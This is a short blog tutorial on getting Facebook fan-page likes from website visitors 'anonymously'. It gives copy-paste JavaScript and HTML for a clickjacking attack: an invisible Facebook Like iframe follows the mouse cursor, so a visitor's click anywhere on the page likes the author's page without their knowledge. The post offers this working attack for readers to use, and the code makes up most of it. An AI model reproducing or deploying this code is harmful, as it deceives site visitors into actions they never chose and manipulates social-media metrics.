- In this post we are going to discuss about the getting FACEBOOK fan page likes anonymously from user when he/she open's the blog or website.
- So let we start.
Requirements:
- A website or a single web page
- Step 1:
Copy the below code and paste into your page <HEAD> section
Code Start from here………………………………………………………….
<script src="http://code.jquery.com/jquery-1.4.2.min.js" type="text/javascript"></script>
<script type="text/javascript">
var interval;
$(function()
{
interval=setInterval("updateActiveElement();", 50);
});
function updateActiveElement()
{ if ( $(document.activeElement).attr('id')=="fbframe" )
{ clearInterval(interval);
iflag=1; } }
</script>
Code Ends here…………………………………………………………………………….
Step 2:
Copy the below code and paste into your page <body> section
Code Start from here………………………………………………………….
<div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="icontainer">
<iframe src="http://www.facebook.com/plugins/like.php?href=https://www.facebook.com/PrinceB0Y&layout=standard&show_faces=false&width=450&action=like&font=tahoma&colorscheme=light&height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="fbframe" name="fbframe"></iframe>
/* Sir Hoover Shawn */
<!--end facebook like frame code--> </div>
<script>
var iflag = 0;
var icontainer = document.getElementById('icontainer');
var standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body //create reference to common "body" across doctypes
function mouseFollower(e){
if (window.event)
{ // for IE
icontainer.style.top = (window.event.y-5)+standardbody.scrollTop+'px';
icontainer.style.left = (window.event.x-5)+standardbody.scrollLeft+'px'; }
else {
icontainer.style.top = (e.pageY-5)+'px';
icontainer.style.left = (e.pageX-5)+'px'; } }
document.onmousemove = function(e) {
if (iflag == 0) {mouseFollower(e);}}
</script>
Code Ends here…………………………………………………………………………….
Replace your page link with the red line color in above code.
How do it works
When anybody visit to your website, when he click anywhere else on your webpage, you get auto like anonymously on your page, without his knowledge..
No comments:
Post a Comment